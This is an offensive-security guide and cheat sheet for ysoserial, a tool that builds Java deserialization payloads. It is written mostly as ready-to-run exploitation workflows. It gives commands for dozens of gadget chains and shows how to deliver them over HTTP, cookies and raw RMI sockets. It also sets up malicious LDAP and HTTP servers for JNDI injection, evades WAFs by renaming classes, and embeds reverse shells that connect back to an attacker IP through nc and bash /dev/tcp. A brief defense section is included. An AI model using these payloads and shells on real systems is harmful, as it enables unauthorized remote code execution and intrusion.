Original Author: Chris Frohoff (@frohoff) / Original Talk: AppSecCali 2015 "Marshalling Pickles"
Repo: https://github.com/frohoff/ysoserial
Description: Proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization
Notable Forks: ysoserial-modified (extra gadgets), su18/ysoserial (memory shells, WAF/RASP bypass, gadget detection), [FasterXML jackson-related forks]
Target Platform: Java (build via Maven; run via JRE 8+ — older gadgets need matching legacy JRE)
Overview
ysoserial is a collection of "gadget chains" — sequences of otherwise-benign method calls in common Java libraries that, when strung together through Java's native serialization mechanism, can be triggered by deserializing a malicious object graph. The tool doesn't exploit a flaw in serialization itself; it weaponizes the fact that an application calls ObjectInputStream.readObject() on data it doesn't control. If the required gadget classes are present on the target's classpath, feeding it a crafted byte stream causes arbitrary code (usually OS command execution) to run the moment deserialization happens — often before any application logic even sees the object.
Key capabilities:
- Generate ready-to-use serialized payloads for 20+ gadget chains across Commons Collections, Spring, Groovy, Hibernate, MyFaces, C3P0, and more
- Produce OOB-detection payloads (URLDNS) to confirm a deserialization sink exists without needing full RCE
- Target JRE-native chains that require zero third-party libraries on the classpath (Jdk7u21, Jdk8u20)
- Customize generated classes to evade static/behavioral signatures (
ysoserial.class_prefix,--inline,--jar-file) - Chain into JNDI/LDAP/RMI exploitation via companion tools (marshalsec, JNDIExploit) for cases where a gadget doesn't exist but JNDI lookup gadgets do
What ysoserial is NOT: it does not scan for or find deserialization endpoints, and it does not fingerprint which gadget libraries are present on a remote classpath (some forks add basic detection — see su18/ysoserial below). You still need to find the sink and know or guess the target's dependencies.
How Java Deserialization Attacks Work
┌────────────────────────────────────────┐
│ Vulnerable Application │
│ ObjectInputStream.readObject(data) │
└───────────────────┬────────────────────┘
│
Deserializes attacker-controlled bytes
│
┌───────────────────────────┼───────────────────────────┐
│ │ │
readObject() on hashCode()/equals() finalize() /
gadget class A triggered on a toString()
calls gadget HashMap key during triggered
class B... put/rehash during GC
│ │ │
└───────────────────────────┼───────────────────────────┘
│
Chain terminates in a "sink":
Runtime.exec() / ProcessBuilder / TemplatesImpl.newTransformer()
│
Command Execution
Why this works: Java serialization calls readObject() (or triggers hashCode, equals, finalize, etc.) automatically during deserialization, with no validation of the incoming class graph by default. If any class reachable on the classpath has a readObject()/equals()/hashCode() method that eventually calls into reflection, a Transformer, an ObjectFactory, or similar — and an attacker can control the values passed through that chain — the deserialization process itself becomes the code-execution primitive. No vulnerability in application logic is needed; the vulnerable code often never runs at all before the exploit fires.
Two families of gadget chains:
| Type | Trigger Mechanism | Examples |
|---|---|---|
| Transformer-based | readObject() on a wrapper object walks a chain of Transformer/Closure/Comparator objects, each calling the next via reflection |
CommonsCollections1–7, Groovy1 |
| hashCode/equals-based | Object is used as a HashMap/HashSet key; deserializing the map calls hashCode()/equals() on the key, which cascades into the gadget |
URLDNS, some CommonsCollections variants |
The sink (final code-exec step) is almost always one of:
Runtime.getRuntime().exec(cmd)— classic OS command exec, most commonProcessBuilder— similar, used in newer chainsTemplatesImpl.newTransformer()— loads and instantiates an arbitrary bytecode-defined class (used by CC-series and Spring chains for stealthier / more flexible execution than rawexec)- JNDI lookup (
InitialContext.lookup()) — redirects to attacker-controlled RMI/LDAP server serving a malicious factory class (used when no local gadget chain fits but JNDI injection does — see marshalsec)
Build & Setup
Building from Source
# Clone the repo
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
# Build with Maven (skip tests — many gadget tests intentionally fail without exact library pinning)
mvn clean package -DskipTests
# Output jar
ls target/ysoserial-*-all.jar
Dependencies: Maven pulls all gadget library versions automatically per pom.xml. This is the biggest source of build friction — outdated Maven Central artifacts, especially javax.interceptor-api, have been pulled/typo'd historically. If the build fails on a specific payload's dependency, you can often still build and use the rest.
Pre-built Releases
# GitHub releases page ships an -all.jar (all dependencies bundled)
# https://github.com/frohoff/ysoserial/releases
wget https://github.com/frohoff/ysoserial/releases/download/vX.X/ysoserial-all.jar
Pre-compiled jars are common in CTF/HTB environments and pentest dropboxes — verify hash before trusting one on an engagement.
JRE Version Matters
Some gadget chains (Jdk7u21, Jdk7u21, older CommonsCollections chains relying on specific reflection behavior) only work against the JRE version they were built for. Running ysoserial itself under a modern JDK (11+) to generate the payload is usually fine, but the target JRE executing the deserialization is what determines whether the chain fires. Always check target Java version first (java -version in banners, stack traces, X-Powered-By headers, error pages).
# If you need to build/run under an older JDK for compatibility
sudo update-alternatives --config java
Basic Usage
# General syntax
java -jar ysoserial-all.jar [payload] '[command]' > payload.bin
# List all available payloads (no args)
java -jar ysoserial-all.jar
# Basic CommonsCollections1 payload, command execution
java -jar ysoserial-all.jar CommonsCollections1 'id' > cc1.bin
# Windows target command
java -jar ysoserial-all.jar CommonsCollections1 'calc.exe' > cc1_win.bin
# Inspect the raw bytes (starts with Java serialization magic: aced 0005)
xxd cc1.bin | head
# Pipe directly to netcat for RMI/socket-based sinks
java -jar ysoserial-all.jar CommonsCollections5 'nc -e /bin/bash 10.10.14.5 4444' | nc target_ip 1099
Reading the magic bytes: AC ED 00 05 at the start of a payload/response confirms Java serialization format — useful when inspecting HTTP traffic, cookies, or files to identify a deserialization surface before you commit to an exploit.
Payload Types Reference
Detection / OOB Payloads
URLDNS
Not an RCE chain — a universal detection payload. Uses only standard JDK classes (HashMap, java.net.URL), no third-party gadget library required, so it works against any application that deserializes attacker data, regardless of what's on the classpath.
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode() <- triggers a DNS lookup as a side effect
# Generate — point it at a Burp Collaborator / interactsh / your own DNS canary domain
java -jar ysoserial-all.jar URLDNS 'http://uniqueid.oob.burpcollaborator.net' > urldns.bin
# Send to the suspected sink, then watch DNS logs / Collaborator for the callback
# A DNS hit confirms: (a) the endpoint deserializes untrusted input, (b) no gadget needed yet
Workflow tip: Always try URLDNS first on any suspected deserialization sink. It costs nothing, needs no classpath knowledge, and confirms exploitability before you burn time guessing which CC/Spring/Groovy variant matches the target's dependencies.
Apache Commons Collections Chains
The original and most widely applicable family — targets commons-collections 3.x (CC1, CC3, CC5, CC6, CC7) and 4.x (CC2, CC4). Abuses the library's Transformer/InvokerTransformer interfaces, which let a ChainedTransformer invoke arbitrary methods via reflection during readObject().
| Payload | Depends On | Notes |
|---|---|---|
CommonsCollections1 |
commons-collections:3.1 |
Original AppSecCali chain, AnnotationInvocationHandler + LazyMap |
CommonsCollections2 |
commons-collections4:4.0 |
Uses PriorityQueue + TemplatesImpl sink, CC4.x variant |
CommonsCollections3 |
commons-collections:3.1 |
TemplatesImpl sink instead of raw Runtime.exec — more flexible payload (arbitrary class bytecode) |
CommonsCollections4 |
commons-collections4:4.0 |
CC4.x version of CC3 chain |
CommonsCollections5 |
commons-collections:3.1 |
BadAttributeValueExpException trigger, useful for RMI registry-based delivery |
CommonsCollections6 |
commons-collections:3.1 |
Most reliable/stable across JDK versions — often the default choice in modern JDKs (8u71+) where CC1 breaks |
CommonsCollections7 |
commons-collections:3.1 |
Hashtable-based trigger variant |
# CC1 — classic, breaks on JDK 8u71+ due to AnnotationInvocationHandler changes
java -jar ysoserial-all.jar CommonsCollections1 'id' > cc1.bin
# CC6 — most reliable on modern JDKs, this is usually your first try
java -jar ysoserial-all.jar CommonsCollections6 'id' > cc6.bin
# CC3 — TemplatesImpl sink, loads a full malicious class instead of a single exec call
java -jar ysoserial-all.jar CommonsCollections3 'id' > cc3.bin
# Customize command execution style — --inline to embed a Java snippet instead of shelling out
java -jar ysoserial-all.jar CommonsCollections1 --inline 'System.out.println("test");' > cc1_inline.bin
JDK version compatibility note: CC1 relies on sun.reflect.annotation.AnnotationInvocationHandler's pre-8u71 field layout. On 8u71+ it silently fails. CC6 doesn't have this dependency and is the more portable choice on modern targets — always test both if the JDK version is unknown.
Spring Framework Chains
# Spring1 — ObjectFactory + PropertyPathFactoryBean chain
java -jar ysoserial-all.jar Spring1 'id' > spring1.bin
# Spring2 — uses AOP proxy + JdbcRowSetImpl-style JNDI trigger
java -jar ysoserial-all.jar Spring2 'id' > spring2.bin
| Payload | Depends On |
|---|---|
Spring1 |
spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
Spring2 |
spring-core, spring-aop, aopalliance:1.0, commons-logging:1.2 |
Relevant when the target is a Spring-based backend (Spring MVC, Spring Boot actuators, older Spring Remoting/HTTP invoker endpoints) exposing a Java-serialized RPC surface — Spring HTTP Invoker is a classic real-world sink for these.
Groovy Chains
java -jar ysoserial-all.jar Groovy1 'id' > groovy1.bin
| Payload | Depends On |
|---|---|
Groovy1 |
groovy:2.3.9 |
Targets applications embedding a Groovy scripting engine on the classpath (common in Jenkins plugins, Grails apps, and rules engines that shell out to Groovy for dynamic evaluation).
Other Library Gadget Chains
# BeanShell — targets bsh:2.0b5
java -jar ysoserial-all.jar BeanShell1 'id' > beanshell1.bin
# C3P0 — JDBC connection pooling library, JNDI-based trigger
java -jar ysoserial-all.jar C3P0 'id' > c3p0.bin
# Clojure
java -jar ysoserial-all.jar Clojure 'id' > clojure.bin
# CommonsBeanutils1 — commons-beanutils + commons-collections + commons-logging
java -jar ysoserial-all.jar CommonsBeanutils1 'id' > beanutils1.bin
# FileUpload1 — commons-fileupload + commons-io
java -jar ysoserial-all.jar FileUpload1 'id' > fileupload1.bin
# Hibernate1 / Hibernate2 — Hibernate ORM proxy-based chains
java -jar ysoserial-all.jar Hibernate1 'id' > hibernate1.bin
# JBossInterceptors1 — JBoss/WildFly interceptor chain (notoriously fragile deps, see build notes)
java -jar ysoserial-all.jar JBossInterceptors1 'id' > jboss1.bin
# JSON1 — targets JSON deserialization libraries with polymorphic type handling
java -jar ysoserial-all.jar JSON1 'id' > json1.bin
# MozillaRhino1/2 — JavaScript engine (Rhino) embedded in the JVM
java -jar ysoserial-all.jar MozillaRhino1 'id' > rhino1.bin
# Myfaces1/2 — JSF ViewState deserialization (relevant for JSF apps, pair with ViewState decoding)
java -jar ysoserial-all.jar Myfaces1 'id' > myfaces1.bin
# ROME — RSS/Atom feed parsing library
java -jar ysoserial-all.jar ROME 'id' > rome.bin
# Vaadin1 — Vaadin UI framework
java -jar ysoserial-all.jar Vaadin1 'id' > vaadin1.bin
# Wicket1 — Apache Wicket framework
java -jar ysoserial-all.jar Wicket1 'id' > wicket1.bin
# Click1 — Apache Click framework
java -jar ysoserial-all.jar Click1 'id' > click1.bin
# AspectJWeaver — AspectJ weaving library
java -jar ysoserial-all.jar AspectJWeaver 'id' > aspectj.bin
Fork note: su18/ysoserial extends this list significantly (C3P02-4, additional CommonsCollections8/9, memory-shell injection for Spring/Tomcat/Jetty/JBoss/Resin/WebSphere, and a URLDNS-based dependency-detection mode to fingerprint which gadget libraries actually exist on a target's classpath before firing blind). Worth reaching for on engagements where the base repo's chain list doesn't fit, or when you need non-destructive classpath enumeration first.
JRE-Native Chains
# Jdk7u21 — no external gadget library needed, pure JRE 7u21 chain
java -jar ysoserial-all.jar Jdk7u21 'id' > jdk7u21.bin
# Jdk7u21 with output obfuscation piped through common wrappers (real-world delivery example)
java -jar ysoserial-all.jar Jdk7u21 "bash -c {echo,$(echo 'id' | base64 -w0)}|{base64,-d}|{bash,-i}" | gzip | base64
These are valuable when the target classpath has none of the common gadget libraries (locked-down/minimal deployments) but is still running a vulnerable, unpatched JRE. Only works against the exact matching JRE minor version.
Identifying Deserialization Endpoints
Before reaching for ysoserial, confirm you actually have a Java deserialization sink:
Byte-level indicators (raw or base64):
# Raw Java serialization magic bytes
AC ED 00 05
# Base64-encoded magic bytes (very common in cookies/params)
rO0AB...
Common real-world sinks:
- HTTP request bodies/params passed to
ObjectInputStream.readObject()(custom REST endpoints, legacy SOAP) - Session cookies (JSESSIONID or custom session tokens using native Java serialization instead of JSON)
- RMI registries (port 1099 and dynamically allocated high ports) — RMI is Java serialization over the wire
- JMX (port 1099/9999 commonly) — used for app server management, deserializes on connect
- Message queues (JMS, ActiveMQ) — objects serialized into queue messages
- File uploads accepted as
.ser/binary blobs and processed server-side - JSF
ViewStatehidden form field (base64-encoded serialized component tree — check for encryption first)
# grep for likely magic bytes in a captured response/request
grep -a "rO0AB" capture.txt
# Burp: search raw response/request bytes for aced0005
Payload Delivery Vectors
# HTTP POST body (raw binary)
curl -X POST --data-binary @cc6.bin http://target/endpoint
# HTTP POST body (base64 form-encoded, common for cookie/param-based sinks)
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0 > cc6_b64.txt
curl -X POST http://target/endpoint -d "session=$(cat cc6_b64.txt)"
# As a Cookie header
curl http://target/ -H "JSESSIONID: $(cat cc6_b64.txt)"
# Multipart file upload
curl -X POST http://target/upload -F "file=@cc6.bin;type=application/octet-stream"
# Direct socket delivery for RMI-style sinks (raw TCP, no HTTP wrapper)
java -jar ysoserial-all.jar CommonsCollections6 'id' | nc target_ip 1099
Encoding & Format Conversion
# Base64 encode for transport in text-based protocols
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0
# URL-encode after base64 (for GET params or headers with special chars)
java -jar ysoserial-all.jar CommonsCollections6 'id' | base64 -w0 | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"
# Gzip-compress (some frameworks expect compressed serialized blobs, e.g., some JSF ViewState configs)
java -jar ysoserial-all.jar CommonsCollections6 'id' | gzip | base64 -w0
# Reverse: decode a captured base64 payload back to raw bytes for inspection
echo '<base64_string>' | base64 -d > captured.bin
xxd captured.bin | head
Java RMI / JMX Exploitation
For cases where a direct gadget chain isn't available but the target performs JNDI lookups on attacker-influenced input (common in JMX, JNDI injection points, or newer chains relying on TemplatesImpl), pair ysoserial with marshalsec to stand up a malicious RMI/LDAP reference server:
# Build marshalsec (separate tool, not part of ysoserial)
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec && mvn clean package -DskipTests
# Stand up a malicious LDAP server that returns a reference to an attacker-hosted class
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://10.10.14.5:8000/#Exploit" 1389
# Serve the compiled Exploit.class over HTTP
python3 -m http.server 8000
# Deliver a JNDI-injection payload that forces the target to look up your LDAP entry
# (delivery mechanism depends on the specific injection point — Log4Shell-style, JMX, etc.)
RMI registry interaction directly with ysoserial payloads:
# Many RMI attack surfaces (unauthenticated registries, JMX endpoints) accept a raw
# serialized object over the socket — CC5/CC6 with BadAttributeValueExpException-style
# triggers work well here since RMI registry lookups deserialize object graphs directly.
java -jar ysoserial-all.jar CommonsCollections5 'id' | nc target_ip 1099
Burp Suite Integration
Extensions useful for Java deserialization testing in Burp:
- summitt/burp-ysoserial — wraps ysoserial payload generation inside Burp Intruder/Repeater
- federicodotta/Java-Deserialization-Scanner — automated detection + exploitation across
known gadget chains, flags likely sinks via passive scanning
- DirectDefense/SuperSerial / SuperSerial-Active — passive and active deserialization
vulnerability identification
Manual Repeater workflow:
- Capture a request containing a base64
rO0AB...blob (cookie, param, body) - Generate a URLDNS payload, base64-encode it, swap it into the captured request in Repeater
- Check Collaborator/DNS logs for a callback — confirms the sink
- Iterate through CC6 → CC1 → CC3 → Spring1 → Groovy1 (roughly descending order of how common each dependency is in the wild) until one lands
- Once a working chain is found, swap the command for full exploitation (reverse shell, etc.)
Gadget Chain Internals
Understanding the CC6 chain end-to-end (most portable, good reference example):
1. Attacker builds: Runtime.exec(cmd) wrapped inside a ChainedTransformer:
ConstantTransformer -> InvokerTransformer("getMethod") -> InvokerTransformer("invoke")
-> InvokerTransformer("exec")
2. ChainedTransformer wrapped in a LazyMap (transforms on .get())
3. LazyMap wrapped in a TiedMapEntry, which is set as the key of a HashMap
4. HashMap wrapped once more so readObject() is invoked at the top of deserialization
5. On deserialization:
HashMap.readObject()
-> HashMap.hash(key) # calls key.hashCode()
-> TiedMapEntry.hashCode()
-> LazyMap.get(key) # triggers the LazyMap transform chain
-> ChainedTransformer.transform()
-> InvokerTransformer chain (reflection calls)
-> Runtime.getRuntime().exec(cmd)
This pattern — wrap a "trigger" method (hashCode, equals, readObject, finalize) around a reflection-capable transform chain — is the template nearly every gadget chain in the tool follows, just with different trigger classes and different libraries providing the Transformer/ObjectFactory/Interceptor-equivalent reflection primitive.
Troubleshooting & Version Matching
| Symptom | Likely Cause | Fix |
|---|---|---|
ClassNotFoundException on target after sending payload |
Target doesn't have the gadget library on its classpath | Try a different chain family (Spring, Groovy) matching target's actual dependencies (check /WEB-INF/lib, error stack traces, pom.xml if source leaked) |
| CC1 payload silently fails, no error | JDK 8u71+ breaks AnnotationInvocationHandler field layout CC1 relies on |
Use CC6 instead |
| Payload works locally, not against target | Target JRE major/minor version mismatch for JRE-native chains (Jdk7u21) | Confirm exact target JRE version, match chain accordingly |
| Maven build fails on a specific payload's dependency | Upstream artifact pulled/renamed on Maven Central (common with javax.interceptor-api) |
Build with -DskipTests; if the module itself won't compile, exclude it or use a maintained fork (synacktiv/ysoserial tracks these fixes) |
| WAF/RASP blocks the payload | Signature-based detection on known ysoserial class names | Use -Dysoserial.class_prefix= to rename generated classes; consider su18 fork's traffic obfuscation features |
| No callback on URLDNS test | Sink isn't reachable, output stream isn't actually deserialized, or egress DNS is filtered | Confirm egress with a simple nslookup first; try an HTTP-based OOB listener instead of DNS |
Detection & Defense
(For blue-team / remediation context when reporting findings.)
- Look-ahead deserialization filtering — Java's
ObjectInputFilter(JEP 290, Java 9+, backported to 8u121+) lets applications whitelist expected classes beforereadObject()executes them - Avoid native Java serialization entirely for untrusted input — prefer JSON (with polymorphic typing disabled) or Protocol Buffers
- Patch/remove vulnerable libraries — most CC/Spring/Groovy chains require specific old versions; upgrading Commons Collections past 3.2.2/4.1 (with the fix) or removing
InvokerTransformersupport closes the classic chains - WAF/RASP signatures on magic bytes (
aced0005/rO0AB) at ingress points that shouldn't see serialized Java objects at all - Contextual escaping — if a value should never contain binary/serialized data (e.g., a session ID), validate format strictly rather than accepting arbitrary base64
Common Attack Workflows
Workflow: Blind Deserialization Endpoint Discovery → RCE
# Step 1: Confirm the endpoint deserializes untrusted data (zero classpath assumptions)
java -jar ysoserial-all.jar URLDNS 'http://canary.oob.burpcollaborator.net' | base64 -w0
# Step 2: Send via whatever vector applies (cookie, param, body) — check Collaborator for DNS hit
# Step 3: If confirmed, iterate common chains in order of real-world prevalence
for payload in CommonsCollections6 CommonsCollections1 CommonsCollections3 Spring1 Groovy1 CommonsBeanutils1; do
java -jar ysoserial-all.jar $payload "curl http://10.10.14.5:8000/hit-$payload" > "/tmp/$payload.bin"
# deliver each, watch your listener for which one calls back
done
# Step 4: Once confirmed, swap for full reverse shell
java -jar ysoserial-all.jar CommonsCollections6 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' \
> shell.bin
Workflow: JSF ViewState Exploitation
# Step 1: Capture the ViewState hidden field value from an HTML form
# <input type="hidden" name="javax.faces.ViewState" value="rO0AB..." />
# Step 2: Check if it's encrypted (unencrypted ViewState is directly exploitable)
echo '<viewstate_value>' | base64 -d | xxd | head # aced0005 = unencrypted, exploitable directly
# Step 3: Generate a Myfaces-targeted payload
java -jar ysoserial-all.jar MyFaces1 'id' | base64 -w0 > myfaces_payload.txt
# Step 4: Submit the crafted ViewState back to the form's POST endpoint in place of the original
curl -X POST http://target/faces/page.xhtml \
--data-urlencode "javax.faces.ViewState=$(cat myfaces_payload.txt)"
Workflow: RMI Registry Attack (Unauthenticated)
# Step 1: Confirm RMI registry is reachable and unauthenticated
nmap -p 1099 -sV target_ip
# Step 2: Enumerate bound names (via rmiscout, or Impacket-adjacent tooling)
# rmiscout enum target_ip:1099
# Step 3: Deliver a gadget chain directly to the registry socket
java -jar ysoserial-all.jar CommonsCollections6 \
'bash -c {echo,<base64_revshell>}|{base64,-d}|{bash,-i}' | nc target_ip 1099
# Step 4: Catch the shell
nc -lvnp 4444
Cheatsheet
Quick reference for the most common ysoserial operations. Replace placeholders as needed.
Build
git clone https://github.com/frohoff/ysoserial.git && cd ysoserial
mvn clean package -DskipTests
# jar output: target/ysoserial-*-all.jar
Detection First
java -jar ysoserial-all.jar URLDNS 'http://<canary>.oob-server.com' | base64 -w0
Most Reliable RCE Chains (try in this order)
java -jar ysoserial-all.jar CommonsCollections6 'id' # most portable, modern JDKs
java -jar ysoserial-all.jar CommonsCollections1 'id' # classic, fails 8u71+
java -jar ysoserial-all.jar CommonsCollections3 'id' # TemplatesImpl sink
java -jar ysoserial-all.jar Spring1 'id' # Spring apps
java -jar ysoserial-all.jar Groovy1 'id' # Groovy-embedded apps
java -jar ysoserial-all.jar CommonsBeanutils1 'id' # beanutils present
java -jar ysoserial-all.jar Jdk7u21 'id' # no gadget lib needed, old JRE
Reverse Shell One-Liner Embed
java -jar ysoserial-all.jar CommonsCollections6 \
'bash -c {echo,'"$(echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64 -w0)"'}|{base64,-d}|{bash,-i}' \
> shell.bin
Encoding for Delivery
java -jar ysoserial-all.jar CC6 'id' | base64 -w0 # base64 (most HTTP vectors)
java -jar ysoserial-all.jar CC6 'id' | base64 -w0 | python3 -c \
"import sys,urllib.parse;print(urllib.parse.quote(sys.stdin.read()))" # url-encoded
java -jar ysoserial-all.jar CC6 'id' | gzip | base64 -w0 # gzip + base64
Delivery Vectors
curl -X POST --data-binary @payload.bin http://target/endpoint # raw body
curl http://target/ -H "JSESSIONID: $(cat payload_b64.txt)" # cookie
curl -X POST http://target/upload -F "file=@payload.bin" # multipart
cat payload.bin | nc target_ip 1099 # raw socket / RMI
Magic Byte Check
xxd payload.bin | head -1 # look for: aced 0005
echo '<captured_b64>' | base64 -d | xxd | head -1 # rO0AB... decodes to aced0005
Custom Class Prefix (Evasion)
java -Dysoserial.class_prefix='javax.objects.Object' -jar ysoserial-all.jar CommonsCollections1 'id'
References
- GitHub: https://github.com/frohoff/ysoserial
- Original talk — "Marshalling Pickles" (AppSecCali 2015): https://frohoff.github.io/appseccali-marshalling-pickles/
- marshalsec (JNDI/RMI/LDAP exploitation companion): https://github.com/mbechler/marshalsec
- PayloadsAllTheThings — Java Deserialization: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Java/
- su18/ysoserial fork (memory shells, detection, WAF bypass): https://github.com/su18/ysoserial
- synacktiv/ysoserial fork (maintained build fixes): https://github.com/synacktiv/ysoserial
- Java Deserialization Scanner (Burp extension): https://github.com/federicodotta/Java-Deserialization-Scanner
- burp-ysoserial (Burp extension): https://github.com/summitt/burp-ysoserial
- ObjectInputFilter / JEP 290 (defense reference): https://openjdk.org/jeps/290